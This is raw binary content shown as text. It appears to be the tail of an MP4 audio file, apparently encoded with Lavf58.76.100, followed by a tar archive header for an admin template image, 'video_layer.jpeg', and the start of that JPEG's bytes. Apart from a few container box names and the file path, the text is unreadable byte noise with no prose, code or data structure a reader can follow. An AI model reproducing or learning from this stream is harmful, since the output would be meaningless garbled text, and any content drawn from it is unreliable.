}mܼ~jXp;Rc(]Z{HUie\Rr<ћ'|CSc)5b7t)lm:;KDUnrĂop ,*+ ,Qwt9Ք,eeljVQ(Z l뙡Y` @7Őf(<+1Cp(4=N7 R&Ktٗ2ok;@JT me_'iRUpc_;CF a1ׅ{˳±+'0Og< +MQQoSݢ&|!`!` AsE4Lgl~B9 ?Ԅ#2D2dtĉDYwoB: !*?Hz6fJcc<7ƽxڨ"c6]R]ce@Ci'z; S};T^ՃΔ!][>?mb;@ہ⦙[Jn^%<*~wM^W#W=wGTg(Ćx@*UAfA B|P}PPZZ$[b<߹NEIaowZkMiNnl w;ӄi|s<)Xҷ0(5OVߊ/O ?sTJKo_~`9)g~ώU,pf y}Mš ;ձ\A~ϭ2V:tcxbd!d*sXgz 7^ɂb1Uz]>e8N$7 ꚰ$E5\#O6uAr D+]4R"77]ԃ9O2{wخ:~5bf#u`iOpE$y?]E!;U e(ToSJvzOa7#9B-LuhZRGIdWZeiV;K۪9Fck/RKO#a•7/26ba5jmglI_y첗szcw5_əʧb[ ǂC 7Cìt}/+([`0 mcsS?X3痪nd}z^;mvKpYV̦o?@qg <a >׀ՓOL_yo)w1^SgvD&\z]F<1#E&2sYT<*)/ZO(Ar ҍ|_3C^Rne@c1@cۚ`.{fhy_~/wN: ~4HIva0zfYY\V LgdZ)\$GAܨu/` "J yC7&sMf$Y;EMȁnZcĢO޿'k]eV́(B;S#"t"dnFS~$˧760;YjQ2 Aq6?qlzF]:-,#aq5_Xsae)m#qi>-r:(>%"%iEz$FA(ӋѤo[RM15d:R+DM|}#u2@y!5ϖ#ܤ\1u̗;7ڸpp"+΄NϏxjb4n OdERrHuߞyI)NU JD%x˞w:#CF̬%v|^NMF9i{%ҬwHXw4`Wq AY4 ,8cݵ/L|Axb<#5U"#xgNuHeH$: S~T 7.w^;RsCC' UZU|[oVA~(88a1TV^-^lnâGK7jjQMEڰ9Tޓ'tʂc=,uߋxG.5cr?ցC`2Q<5Έ qCL5 Ypm\EF:ze k"IwMs.Qp5>]*gьORko#!i(8c3_taI|m<< EWĆ|>}6O ~q_b'&"^ZqϖN:kE >5h&jc@[4!^Viw۝9|cխMp>\_tث${1UDXn7{{E*fPYNc6&vPyډϋ#ɬ54^e^;=:q=zMA |QvCm`OFSu^l4|o0[W 9#@)Bǯv)j|ē12\,@ &>w7c(*f9!͖(br&;dk,&J\+ WZ 2km A)p"OM̀l#ju>eGx#,nCBgԎ`*"5uX'b Ub3n{B;69][.\[r{ L*fAt{4(th6 ^ nWn OA2po77!-i%|g ; mpFit& Zs䒰fj{t 3Rz0oضsC&5YHY dhWO=iVn*_'eD7f)"ŖC9I v%Me.Iric@w3Ź*/l8@ cPKOӋ82OE9p*<~*#}=bsP3"B˙^`+Me6o4R ]wKP Ў$u}D`N̶ltҎ|t ͭY> ?6 'TKPSDK|z ?P A@s:@oK`zCD=G6|0tk4;_uAF.l(ߏ&u箷1 ƫO] | (Z9XfQAz Ⱦ+.ѲyGÁ'RbhuG*4K <{6 a&uHݫIDB>7Tqw$\ˇUQ"gnl9ߐo Pd3C) Û 5"--d%``>%v5tF|o7WNlzcAJ [;9yfQn!bvϦ2-ƉZ_thWnr>,IHsDg3)gEOYZ| Bc;velHyw$]^P 7YjUqbXyI ·1PҦ˘wZ6Rޓs*9+|}|CIa@ci߫>m;J D3#tP]y?ABWp)r#5\ĽعMwq`{s39O9^:Yt2_)Wg)"q-\5`h1ON'91`$64ag2.K/L)!R2v 0O{.!=brpr\U}g.jY⚥'עT@QoUXU~qx'ߍad 80=JB%EO<(,dG0DnEӝ'ay0allFYn*ξK֬/9E[7}wﮉ3,PPZ0бPy~ RSƷ&ϋB;o;(VXE8Ʋ>9Hg@V]vyNO {ۆ{j*}*˩ݗ 4+sfpC C]z:/K+ AfD5h%ښ%g`0PdyL9.uⵕ"MIᒕ[]D+a U1쑠I;ux e"i7GHe@W"6'Ȧ=IC|ִ=_b==Gb(鷘fޑ!%֧6e}~9E1 IW4UY4RkfMtv稗PE1\L!#_9G=Qw/ҊiGv ›@$V?m @c':|м~wgKn:QT/mKQ>2ԓN-" ؤxt٬eyȢf߆AڀQ,j )6 ^`>o tx8b [5,zsp:&[E% USH u۵(eZxLƮQv2doe~3c=Ba `W֪v`r  E'0oWU1a5\4)jKA|Ik殎Q-l/磥ŅɏYak<*aӒ@]yx"> ~WZH{/@oI) gQqآL'_ ]>i e%X\~JGGK e[Eq׸uy+M׌ _gj$.&xUBTqo FX$[JPxk츲g)Nt/&Ҫ`^'&YϔA=Q&ZpSn]X]h2L W0ܗYJ$T/bUq 9 >G4JLTIvfbd"Q'J@QUÇ;lYV5_t*ken_0;P1kA"!S6.٢3U Ǐ[=K2Ƈ9)ڮv|~ ϙTM!ZW-fr2EM}~.؂jT֡s%c0,,5cv?xp7&ؔX. 4#/>T_촇h~;cKY⎽Wzaē{Ģ:|o?r3 >ݭ׫HΛ:h Cs)Pߪ~灏gq=9e3`Sԗ4U1>>gʼnoȩYHMDe$5*h!ht WEaw3}>ca=pL$aABn\ |O^ʯFfVnyKp$^1ϵXovp^}.^bOUBD&N uMde޾G Tci`M:sȮ%^GA9(+Yv|-#ck8XB֐#}Ԉ!o;X $5i2&ehBȀ^eR`gUĵXV07K =C[m ֿ vþ ;_DIb6@9qXҊ,+4 cm심j>i*1*wQuqEU:ѵrqMHcܜVJ:F3<"&jP2)xALJr7Yw>R.g8AU΋9F e[*}_X! 7x88kC0Xe,D"_(u5:S\#iHFNq,E ^߮źEpgVf2|{ nSw<F̬LEDbJalOLJr咐`olnqQ.Ch%,1ᕃ]w2[MVh%79m>,L]Gb30)&[]-xs4#"Q44E?HzgGC])E ag\>Rp&S("1r^L0e?Nz*@D,#Fd˗Sզ܅?lJH^=}Xdh OUJjx<ٔrt8lRJCN 33S,0RGwX1ŦB .H^+#m#~J:lB߈J/36s$FhK_*Tj9W/̼k~4B\{+;0b-gq׎iZoSQMD(E+QhM)`1|a^)I \7*'=GOv'kt֚g6+ X ]]L;%@?/?Lo$@{St h`߈t-}k_b2qf<+SO*b k{单r&X,g/rАE/Ro'nhLݥEu,9R.cH0 Y?gO0J~&/T^bjܠp-uME0ÃǷXz Go+ݵB~g3At-\^CYQV)lop2i}#j-#֏CX^-r^YSwzGܷآmcr,xn۷ONVrn}gWj-=A/ӣiS\g~hQEcTW85#?O;LܘJ@Rl"6?xN|]Fͣʨ/y8BЅeuڴU` ,kPZ. wIu?hý$d.fؠi=^hU~CɃ#g2 Ff'~X&X&Dp*xJyH|u೧>.%#tx]βjf]:ao'6<o)ӛ y00?D w$+PȜW&0vrm/xh%چ Nll+Z3n1h'1(Yg%bܰ(]p یA9[*JYSdsTxuA)vxpɽJ}WG[S:tj#~-̼. J}Qd~,#Gn£q@4[uurx t%jđEyI\aLفnQW ʿ!'^ROcx-.z 7I],UI2>"‚awE kј7P̏eZs6&]^ hha6GFLQAԃ,K{.{UMءW_C9'$y9{)B*T%x7 ޙBubߖ:4 Jɉ;#ycJV\P%7'a&.vg[g29zd @.ZrEMd>4lw0Hl+9tA_ء~SڕEIZ3թk}H0v*`l<D&;w3Kaȋl$5qȭ뗑CBx$t2 EyƼ}d={@!zU_`X\^"c ̑ "~.(ɥhqoMc?6còrFwͣqƴM*Cv1 TޣFųev+焼Frߺ|KY5e͍,j^2rv= T9*a$MúnMlbe~M?W L&LWQV 7FB Q`l(>h{JPr+)o/+EJdŪ^q`՗@o c{ y5sSMn,!nUUEz&Bd$4Tڵm,nI,3֔oSL)Bs$0 zKxEZ1 gEG&N53sT2ny*S[kHlY`=3 `oLF]v%EfQ:S=cp(,YPGj[_LR-JFC{LSU {C{WScYbLU̺?sLWe=}s.jμI`->T ;I6ρ; /Ea768?I.QIO;(U`1iS_Jh^DZNpY<_J3BwN·~⹼m^L:"]Fnbǂt7m5/p%3@|bK> kĮP5(3P8}z5PC#]1?Su׊׃T턠C0YmR [(R+L`!)HsMkJ o.jLLA%z볎ұj쓂HҜqh_)0Fa??bY2bAOԹf27/1gT}lMkI e [J:[1GaSݞet& JnADqkM43Bi|̡7[g`@ {t:Vnܳ I˟r]Rzd)n#SJ=7Tdcm1Jpt Ӳ`Ti 4Um]4 uhb&LJ MmNLHbIhlN~oqr<*V&UV E x-(N ĈNzIH }=Uاk1 7F27e1GctUCvyn7:_-F`QNA7ʛ"mH3r'CF}̻3ztaX<(|="j'qxJڏa"տ<)pyİ^p>Hzf4 UoPIIι_Ov=Bz~sh`='\_\eϦB>&Z8O!Hٲ$blvL8Rƻ 8K^#p ȇ(Q^QkD8 kvUZ'ךc.uFTW2;_8LM5\ {:2}٨~)5ޠ$8K/A>܋?@X,l[XL^d<{३x]Ė_9S{}iOdpan瓉Uͧ[)YH /[:OڄȝD|/3*hƶΪLZM Va(Q^ FYm䊵AS};RJ 2a&ؓ; #-=0j[z^xMo8LMn5*a<[O*0Qk)^e ArtjНM-0rl>ڞ{i2/20yluL%XSn9}vIO+.YX%q,:7Q^g"%(.jD#zvPrp/L\\+al?,N H1*fRvWZκRg~L u#"f|$%Bk,)שBs˪I麡SUh#+^J%Q^W/Ø,g3Hg<8 DR&3υZ&Y(B&燖?:Te<3^qP>K;CVM%͕<|+2lJa=&YU?A0Sбf aZ^-ΐɫSG+ñ!U@t* * ([zFv g +)v=LF&:ZM(?q?'W4T2a=a|u ĉ5Ƞ:\_Tmnz]5V; eM@ǽs߃}Wo xؑb<`QJE%kxmrȞ,+-N.E:fםi6(N`j`t#h  I@d{q5?ۤ *O.A=*j9 hg`]0ʒRU;j_MZd ź ~RnWtIgc=0/#jmNb% Q}\v1-TGeƏf!amCY4:)B r #cTs сY|bX<HYu'P1zU$$FRDS*gla%RZvm]G_u63`fmĕ %C j v]WT|IN7$Ҝ1kKF<ڍ>uRyX,@"h;:U {:~QfUh`kz\J&Fh|&ZE]q9w_4l&cMsp0 eH5 2~of7ImL#T1pn-hHy|3kuIʄkԭ ,r 9&5y7{hV:VB ;( PG$<*@U| gB|K Wb^qZ/>,Q#t5ӎW_P%|,ʥ7 )/Ѭ*UTqo-0jX+*J qO [up3qߵ~mTEɶ?\4=~X,( GɓZd[OJ"-2OmP쨒ڋqSc4.ZRߑo"MvL,FplD;[qPoUh40I2Ѧ2I:Q?qa*b_~yXML7ȁc+f氷1}]S2NK>$oCTLx=ԅ}#()1^Z!ߺqR|\ &0m{y}>͈=dLv; " ˒y%GbdY菜. q**EJ1s+4 )d 2U$vP3IwF|y.-}A.qe'{ZWa)^e@r %.:}<^w7!QQ ԾLj]<`zh9:bMK-4 f"vt-WMu- 3Mlnkk9V%Prݰ[۲(<iFąKB4&:Rzݵ)i{j;`#_vaɟEcӄ KlԳ`k-7U1ODU.}| b51G q%Rʠ(s7ZD[ⶖ=BAq7"hIT{xR1-ʒ{biMoG4FF8~&1\ԼL䇫j`ĠF2\R6ŭjs \~ 'dr CY"=Flu)P!Ȟu+r? >nñ*$ ٯ,~xB>Cagt4G[.T+ Ic:iL07}I ߒ~UBe<j]Ӌnl;?O#4:Y;CΌic1տP,.z^?*8WyڙW)΍捏N"&OXR!wEիQgfץi EG]V}JU C lUnD's޻c{YڥDPm: 'K=bqЧLFԇkq?[ku8l߼0)򡄂q:%fd1Q:gL1Du[=fpS?1uYW ޯ&'b7y;{ByMWi53)%91z߹J +;ho>1MRa6i&-+|%gf "ɤ CTBۛ!hd}l>wtGw 'F]:.oJݓ)iVo딓,N'ܹ/.^e6">#l4g0vF]% ~kż?I纸$R1nKtJښLpV{cPYNYg ,O_7[peCsqf68JH#~"ݦl->HtB(bk9 % TI^| aڍfTƨ۠hU}$IG"ti ]P<҇+k0(}'c ~^2=ǑJ7,qHsICRIzz|y{ץV:Σ=HY#~t'mp_C v,'p$.bL!Afۄ50_p\SePf=O j(4JѲE~NHҔZ(alr)J! V> 7p`v~Wwx>j >*8ґ6xڡPuZʈ*5D!f>c_;{$ "ГT)CKx)sM?z,g|]*ncY>hi H'bUIXvؚ30?K9V3Ő=JwSrYE$Ai8o8xq&"Sd}%-д1.›WC P1_qtFkFT#Swa#!#yhH̩7BG[ja!xϚEGx;f=}(c&zJ>v2Kȩ% \rfS%v9gtu YNB{-7_τW}@o5ů1)2 h$(j7-qu/Pz5vgKcƷgh=a|3yTQپ[90B[fi5)N3/R$qQB d,tVY{GV423FMyFAVVزEU @"ږbeq(ZRN|3` \"ZJ7`2PglL 3lPmBf+R+Z" ΋i{pg Ҟ\ʔ98g%/7 ~k;/V5KGhFTMt!3q7}" T6p51iƀXP֖OeX%OQz5wzHb3pH2H(w)̃e0o3"jCm(5g4:~?AfsfWA(VIV,UyO=lߞ5D#[" *5&$9X͚5CE+ q7p^渪ulb .r۰5Zsrq[o&2Q]s |]$`B) j]8E]kM? эCH _L(d//ե#n]d8e&RPWU"#P CI8V ݶi%PeOYԹ|T>ʴ{=<赬rI =o5M֦'BJV'c,L%:74CS `> K:##[\YfFϣ㞩oVߎl2ƂWy܆|TXh|DԲwC'O. ՉVcia( WNn!{i7?\'.g'Y:W&%/vHn2oV?isn[Kkܾ䫂>xȟn"8~/3ۅG+EٓSl2 l =_ SƻCi (c<WQ@AފCzNPD ymW&h"rN/7kj&vEʾu{g}*aWxf yyOdE;BO]^ }^BTVN޿9O苔CCZ#ui'pPMXPJBnTr+VdX :^//h Cv랆E!`!`'D!knx6>@ =x\Ź5 iरq; !`!`A=7E1~:L0\ '?tȈN>{1lQz?)  :4@fp&mqp"vgRHʽ&f5H8k'J=~:fgpj1$$u!"~- vBܴiGݛ(3؂`3g'ַ!wߪە[aTP~";"fvWT~":tܯBGAa&9ZHBBiYh)K7N-5oH8òZ`8Qs"9׃u'ekhVX-6dlrb[t,z7| =%^fF_ӡ%؍6jޙ!D8+g.ӕ]*H]uO]qYz\EV3eu3K+YIƹC6-ѿsP96DТs;AN&jಬ`ǰ4U6n5s!_d{L2sAa%3qVY"E,ׁG!+1Sgm#/`S\ro BΜ3"Ҁ ɖk/(j5/,EuŪqj&96RQ Z!)>:0s|yS5tf1#ߥS^eGڋK'׃S1gb]bm'bz@4ÖU`T9x="@Xe#7,Υ'Ȳ} Nlm V B̂|d^xTd;O9#G䢍ē6 PPMXӝo3 WM‚qEv-x~FA0~z7&n Vv0d5w|hYAl߁5|{W},Gd~^]˽k=w0t;$@Iz &!_|WZNVi.A%;(1T:g%pK[jޛڂSFu3NQ:b`'BvHRydi)XlӛFT迸:է!7oP= pDdPM\}_M)*4'Khȹ5ڼ{֨kb uR1_u7>rDywɗ,UQMi3s 79Q;b\ndƌ,S2STz1d(竨_\k^)M*eB9m:[9?JRAM{>Y¢zZCDeo(р]3T/>@q"7e R78-i%m}ȧ4Bh;euo1Ka/=խRs4-a*Hݗ7E rϝ^oICM[ 'qBbť O^^!}ϲ+wO1S4&u"㮞~(wa&|/R!oqd01: kJJKmM9C}q  0dqYNmJF1/"^~wE<8MjhH / Rb+%l*'ÜNK8 `?6poٶm\AsE'EֿPm^5CͣhlT=" iU}xW } nʧ0o7.\3J6 Y+cBJX a,M*Q`g@i@wتT퇥hUiV1 4y1q)])&Ydp+#Q }sxxK[%mѯ(Q:yZ,|D,f0<(-~---mUqŭTt0u|Py2tܵPW!]wv&wk|}] /ZYT'UK5zqkBj0/:#8So1,*/o^oCXTE*)LqЗz#xdu,rxl0Y@rb>] 22i:mJ)Bi?d0$[gߜ VOLL_^Dbi+6o9} P$*Ru#&heF_#;JHFBs؀{̘! D$XvO/%]f)mJrdӐ+K!07X~6qKԨ?&Kdf$w[F0/]7>SUܻ >l<_#)-|zݽ+^q&*x7XGn-hz yq"mO?OzN2Qb;LJ&ϸ(A>Տ/i^Ђ m=V_uYkO0uK!Va2ɕlyhrk{/G O **paSŞq'*3R$_H5ԓ3{" 24ZA T 򋚻sP1dgY3t,PO|?w OL(" dEj$o#gqru,'0p"h<'l{l# m罾Lݷ`'!) P+ ѬL:j=ou'<EBY3U#3Ri-KgEkeWLbV\8caseTT(>‡Ԣx5hW )q=K/Ԗf K3HU®$Q2͕K>9_ m#3LNHYˤ {u1Ɋiq7!+xķ&4JAnni!K'e8q> 7Ȍ!IۋKE2h_?|H[Ӽt l>,=RO[@kMz-\=XdL&|*.mcObyߘ>'^! ޖ;!r7z 5Wh[3-1/ [lY 7I*tOBrM.yeh{XY4CQ԰,qx Ыi$:,|Qk:bo7Ֆ_Q #!ה >VTI,}_t!o~ /Nc |2ԟc(^}fŌNsk̰<+6U Ic$2V2~!4 $";CǃPp{@a2COPO5aГLAJ \"̤2'1’ZMKLٓ*','VXP{!0R.JK\jD /-E0IYUPUhc@9w=(P=O< H<~#,NVA剫!G^sCЬOޅ̰87Κ/O $H\ _)ϷrI_a۟mR~x*Q>ڪ7+k΄0POyC)hϙޓ &";˘~pݔYR . xjAv_Kx(ytnq?B؁'GeH#!oB*.2F8Zs K,8gǀ( dPārL&VE,~t+Di_氒jI*R@s**Α BRص헶c}Y3kR4HХ!,@`T*ёgO.?G@Cn!;$G~#u6:Rb_67/wsJo.xT&ZiMRTAa)&_VH]MFŀ d*L;EƬS{C+ 2ƭ KLa]DB6]L:Ovm=o_.NH28yFü6vllt/ ˷(5"Q%H^ HPyS0嘰J_8ڥ(ϒ2V@6F O1TUئ7^$][ӝ[Nko_#ŦgNe""X}@Ӭ,gH[3\mIŻ COG̈́e:!GQ%w)CGǓ~ fڕEwIaQu|Y鼮n%AP57Uަ{pKÀe9!î;U,Ijɼ2ޒ&&r?b|G=)cJl~e}3N*tu-f>q8(n߿Xi?_('U~߁);t2R`\?8lKC4'%Dž`tI9"/t LǏ@YqkR)/y0ڕF0p{.K . â36V ro?'|2yEGwdŌO]U_a TZAJq!>W{ntríۻ+آy DŽ#!>A:,H\:=Ő9Uz/"6-ˠl0ޝA.DŽ{N =ݮWb aŁ.گH䶹$j>%x\|vKɇFڬ׌I^-, f N+ nB!T׭f2dP":мM)KjdPj+^5LD*!udv=s5 ګCj=Ry `nemFTa4~.,DQ3+w! }0iUH(T\v;lp&AΗ(!w6jC3 t)#.oaq(B|!pO5-o),U\;#zS/;93BRK{:Ul/Pm5.p&wnYh'J 4SyYIw;83 ,hD;<-/'' y}LퟅEݩ>-Vqë;NDsxҏ>\gF+ UVwm|Jb>"v!ҭa3# CEVmClho'Nꉶq $M{wPT;p9o$4ꄑxATZ=_]Mkonf|ǏbduU=q!gd#ʩ?J!3>3o7XJ'ߚZmtcaLcݺxT,u4(i̊]i)Gkˬ} ƒCiK?'x0=݈>M]VՁ|ߵ9]M mV5͕OV$_6\xAHdFf qē]iqB藤6IQT〤xܸ ^? })/QY_U6Kwڎ\ICUWXBgU+` *k!o='s[:G5K zA(MQsh85iP)_j`gKːNPԷ.aOp}0o,!sMogrV^ R-[mo 2F3EsA@{葑$%Map D1"0Ժ |쨸V{[̿s󆰘I!]$)!I+8>lLKv w^_Q87م9{]F ޷\i*.K=sN6 >Gxq.Qˌv G A }gM-jU}\H:qЈ٣/K2x=\Ħp'lS'{s ޭ&&%>m/"m J ?/ bvYÊҽԁ}_[?q8=m7NbOC$amz|w-B:H@5,l3UU@J܋ H2+- x 3F N}BB43iIǦVWv9B8},I76g2>}XY=P~y9J"!,F XDiZWq*b!1CdSK;yUpnb"8 c PゥGotO<_d300mRJŴ!i}Tͼ/oEZ;SEKD6ibOƊz,Ċ!`aA`E,watQv_`QUc}#3!}xǮvL00cINu`mBeydkb)'93& Y=z QSlc!`!`D!x!wV2Пā%#8Fw70o4#b, Z^>j-huV;{ I3ZtۤWnyBO$(wѢoCk?^gg@νkF?WjT7ZV@^o.u!`!` A4_A- A(<z3,) @X?0qňw2 I>[FE@^@Ө#aSv{ S+mOQ5g@8 6Ldbc5GnvY4ѣ$+㠌Eqbh"-N 9,0l^:]fjc b |ȵQ]'qIEaYM!HC ]l_kF VzMz{  ZMdUAtfKpXe}J$G dCF48fu YJБԣ /L :[5*gI~L zm2Nuc1̎o՗Ut$(0,,KjBx x"d^ H]:y8" ~;gg@4ݎbI\ +s*<b3w}V1_M|j'|*Kk?A:Y@G(]^A egS$sh/+jLA2o/}2Wg~˧t&0w C`B.Fa`4:AβBq]O$mZY6 }ЇQUptK{ Xf䏡lμNͦQ& XŁZ6UէBI1Z=fdi 0R1;n[yS. 9vk{e`L @0+_;ժK)l(?Vg 6!Wݎ0UWh L^lWlSLT6ىԋ͊i546,QHǐfA m ¿JB9>1TKfSȤ*7 V{DT3@ Ņf; :< g)F#0@!&+ᆉ;[*(يھykHnqnJ0Ɂ@gP2CR"D^\欋`WOٷe"r1(߶?`n$˗рw.5P&MT5&Ą[uO?M-x hd)_n6"㳽7@:ˈ/:oCSʲ\ZՃz` I0?: V(jxHF"pfJ}?0xx^K`TE(]#-^t$lrMjR$ ڮ!` AE,go] bۍ35aee4]4!`!`tByRewӬ2!`D!n!`!`QA4'y w 9 ~jfZJZ9oZ>mC/6_^3s5 Q5׵u\N?bÚWFhrwٙz15|V{Qnݰ|t`g8?|m Ƙ_j︼$eu-*ObigaP'|By t#59=1Oa!`A=*'w\^\E[; ilSEFc?|wesdsRVT:H.QU}LƌE|XIHΛ7T\GIq2: ۅqQG&ˏT$/|OM2ߣH( fq Z"'劒8Dx3sF&n?2m # }+X}!`!`A >L8!d(Wؖv~~ W9a(*$.sk,Z:O"kKC'}:dݻKoΰ򻹓n<6/hG06lK$}f'K8tݬ)Ce0{Fù-VdXئC?텷K"0EĊy%pIK!SCzvgpWqOr{ErØ!`DA*$[BgDA)m(<׳OF]"",H8ópk3uDnT (,ͳ%sԹ*\]T .b!F\!]'#ߖ.~T;#j,̍u EW#`:}L}D?B;FKygEzέ}VUtLwNeY!q;S (\ƉLH'Sԁ!`!`LALQ@RE%vBp00M л^(៚hhXC7r7A}{C O݋.e, ' }Žjo[xW@o1_l0C!ߢH8Ś!wO' 7dW,-߮/`vfgu @,cRCYxw } WQguec+aǖװYhΡ-IPi%f$ g5WHXoU7NҨ_E;9\1Ѵ/!`!` kD!2!`AnSjE=Ǜ]3*q8*@-ԗ#G[z]ګ "}r84P7^vU^g D{̈Y3'keQZD CL~t!wDx;t+<5tn:xO. HU>ĸ7$_e%]q-􅌾d> 3NM'NYFb얲Lz/2[EίM%X8[_Y!`!` D!Qhdp!`FASB#mEtX)(yCZMz§=ny3B]p0h';R#i!`!`D!Y- !`8ASY8BLZ}P.SFIQIW[acf^iy.|}cQ!Ao!HFҰ}ӐԒԥdwD]2sאץ׾0Z;R=}6< &" ).34~;DFxMT^_jkLkppqq2rstu9uLvzvw|wxxyyzwzzz|}#}<}_h|2rhH>(-Ĥ;+C6Pog$ҡed- ֍> exڠ(a-1.~../13377::+:Y;?@@AABDD.FqFHtHJJM"OOCPsR3VVWH]^^_eghnfw'yoɿ,E  &6&y&BC _c`ce;mcnnnqrr5styv~vx xyDzhzz{+{|I}^}|}~~ <w]^H {2,nd  #89,9|QQQjxluvvv|}U}}|.C\Y{>% .T8F]!4q)Bc|hš³Lč6^T)ҷؽ݆*9^5d4A-4"4W7dDFFFHIJ`KKLM MMMMN:NaNzNNNOO)OOOORS4SYT[`c5c^gklqEvrw}Q_uǃt˴̴̛̃3F_́ͯ͜$ $ $q?Y   e 0X!"%&L(P(r-..34G4589<>\?%?JVY ^!^msS6uy|f;:l<  C"n"+,L4667?v?@EEFFHFK8KPwPQQHTUVVZ[\_cfgm]norptttu,xx|z{{|~u!ēؑ L=a6CDDKDam$mqm5!ܾ#3],G2M:trak\tkhd[@$edtselst[:Mmdia mdhdU-hdlrsounSoundHandler9minfsmhd$dinfdref url 9stbl~stsdnmp4a6esds%@Vbtrt(sttsDstscc     !"$%&'()+,-./012456789;<=>?@ABDEFGHIKLMNOPQRTUVWXY[\]^_`abdefghiklmnopqrtuvwxy{|}~     !"$%&'()+,-./012456789;<=>?@ABDEFGHIKLMNOPQRTUVWXY[\]^_`abdefghiklmnopqrtuvwxy{|}~     !"$%&'()+,-./012456789;<=>?@ABDEFGHIKLMNOPQRTUVWXY[\]^_`abdefghiklmnopqrtuvwxy{|}~,stszF stco"#$$$%&X&~(8(Y*l*++, ,,--./.B../O/b/00!0:0001 111122212D3h79>~EIQ=W[aWfXiy(|}]E ;i<:ҪqӊԆԟXq8Q&mׄןײڸ$T/F1 q00 ").34x;8FrMS^_j k@kpzpqq&rstu-uFvnvwvwxxyyzkzzz|}}0}Sbp,fb< | " ' Ğ5=0DcϼaҕY^!ց2Yrڔڼ(U-+.r../13y37t79:%:M;?@@@ABD D"FkFHhHJJMOO7PgR-UVW<] ^^_eghn`wyiɳ 9  &0&m&BB_cTce/m]nnnqrr)stmvxvwxy8zbzz{{|=}R}v}~~0qQR}Bu, b^ #89 9vQQQjlluvvv|}O}}p"=PSo2"H,:W.e~#6]p\”§@āĺ*XH#ҫر݀$-R)^(5-44K7XDFFFHIJTKKLLMMMMN.N[NnNNNOOOzOOORS(SST}[`c)cXgklq9vlw}K~S own˨w̨̕ '@S{͐ͩͼkuw3S   Y {* L!"%&@(D(l- -.34;45t89<>V??JJY^^as G0imv Z5.f6x  7"h"+,@4667~?j?@|E?F F<FK,KPkPQQ<TUUVyZ[\ _cffmWnolotttu&wxvz{{| ~ić؋F7U6CDDEDammem)ܲ{'W&;&GsgpdrollsbgprollFbudtaZmeta!hdlrmdirappl-ilst%toodataLavf58.76.100admin/views/features/assets/templatesvideo_layer.jpeg000060400000020073151724235750017212 0ustar00JFIF(ICC_PROFILE0mntrRGB XYZ acsp- desctrXYZdgXYZxbXYZrTRC(gTRC(bTRC(wtptcprtͷ>ꛟ|=7qɯmV楽x8U/Cmu *};w4,giU]\F*II\`Տ6L]t$iDqG{&AHA $mf<P (W_BH__CH I8X3𿑼"A Hxş\%76a_ݥ-B(:ތieq䗢^F61#'Bk1SK|sJSr$xK n^!喲Ǣ王9jN'R]\b_v#{pkiV5OiAh$Z* Ah@h "m$$@)$aaqӴV6߳9GPcl{סGSVJ\i7_D};N7 Rڤ_h+?<z'LDDakLx~=wkZꥭ7N7E>Z^TTZrJY.znkg-S06HRQ#HzQ"qCFP /5%54*H>VW[qI')_F%>{,$xJ%HX65$$ D MmxFm)[*;vw*k?(fc/9[OvIԱJt#\>!R'$_]յ[;RL—{KNFdf$Ѧ4$Z*@AhAh-rY4dV)"mh@I2h*Q:Uc:rqZqxikZQcrTOQ&hÚbrV'_xFJNRrnOfa#]X4#HD BCH)A !!5+.[|i񄰁Քs`bE#z*muo'_7=+zc+js)8*/)5:iG&a-"u21$9ҕ*5N2^<Q)j:4-]T t\sG'\L6n4TN=_8M<d]ͧvKXw֖QZa)t[eܷE?OǮ<fk4zzĥ^KSҷpڌY4 ק SvR;Ƅez1TFO57zOCZ"TN.ݵRni5Ϫh h-*Mh @h 0 "Y 4DI4VH@IeZT6n% (H JDQCHCH!$4(?1bY>Qk ȡ8}KFĠ~PJۊTVQ/>umK(R+xjIc|ozms_W=Ү^Օ(þtڒmŞVu-'_wݛomoUba(m?9F9Ӳ'B~E7oS\K)Qq-(˙?G{dXn=Bi~j]nU\{/ͯv;q_k6WR9䞲~hZ}uеiERqeZtݕcs;?glh[7%T7ӫ>FvGӴ7K˄]]ͶLy7-k;ةGO)] _}Oկ*m:< O]"HkVݧQ]7cth7lt{*&O\~XPno(WԮu{@hQe`4M2RtYǻSy^ƍmckVچVS88_<>~hSMʓyR8Vy=Jw.e R]IӞq%겿CvnSzǺ\&[5o3뙏սUvKKcR;,e.2*݇M¤WIɦ$곆EgL_V_[eH=3法OS{9'l=>էV4+-(_]g%]yӦFe5?tt4YVZ2yڪ:(>ڦ^e㵦Uɸ=z\Zzwog?Bn/їmI2l^" (RH r@edIF(HE"CH*BGĪb /}Ab(_P~Rhh1$U<(K[YP%sW~HhҟoVK6uYMvzh$JȎ,=y9&uZW^HP;FF#HĎ6\U|N^g#-ʱp4;7L::|uؽ^O2:{+w'(ΦVy㜳>5*\7-ׯUѕgSJ/ G9ۮM)xW1S;ܪ)U75Sq<)JӬZ--&Sri%%]G73hӧFr1:kywQ?"k' i4^W5sG2yz#j٨u{fI3f<9m5ʱM]noW'kwF{FYqmKnrʷtd?#zg^+˚ctVh ^tԪUJi/6xF(ԃdg]YիjY*OTN GәNkD4^m'SERdlieI/&TkI6M,ɴA6Md MVNH&ʲѥIfuTO<:]Z&UvY[+IJ՟C@ q*)kHH VYڰH/j/hQ#QᡥRքntYQJ}*p8ʛ(FySy4#n( C7hn#F /'yYP6񄳎Yӹ$oK|S='U6W:ԬюEO:ZNeɷ%Xqln\W.Hz<&2GyasSc}kQpgv朔B)$Bﵲ%SJ+ u^w_ӃN-){dUvѩ-mcr V w [g8ǦFPr*o$Jqo>!:__CQ.c:/tRX}b:&K~xח;Egr1:qE"fϺ ju):}AsqȻ=.ymh9fh2Yd̊2l4.@W_L`e$MM6 DDKiMt\ؓH(JRDXhI﷝oq-1%2<+ԝEҚxeZ`/ .m >O>ho,2MaŏKfӗ1"=]VZew9q޺NxSk]=IHdMѵJDI&h 7 ȣ'""lsοsEz iz&t<0$}euܺ7>u6[ ՟3y#q$RsNRmz= E8TIEUn1_ z1'qe\ w)F>T*RR]2sBn/)TwUQXyN)4ƙUT8Cܣ&RZXܛ^½ǜ w3' JUGRQau9K 7i(/w<'ORǚ>~ne"c已J7׵UR NZ7t Ki*t{s6>-KѮ^S>NHÒ>V;ľ_T#4ڍ(S%~MpVѡRT༣70|ܼ wt=CO/u+J4]U//<ʚiӡJ0\/>j3T8ǎm[j~W ܹ>k󬪾_AGpTng16gz3Җw-e\u:ݎkQVW5\U-||xӎguS&-?\_CmuRҍz(.dӜ*ЅZm:rYM-:'pm]v /2RyfLNXK,ԨRܓxd7 uϖ+ޑ6ִcM}J(r'ywrvǤcw 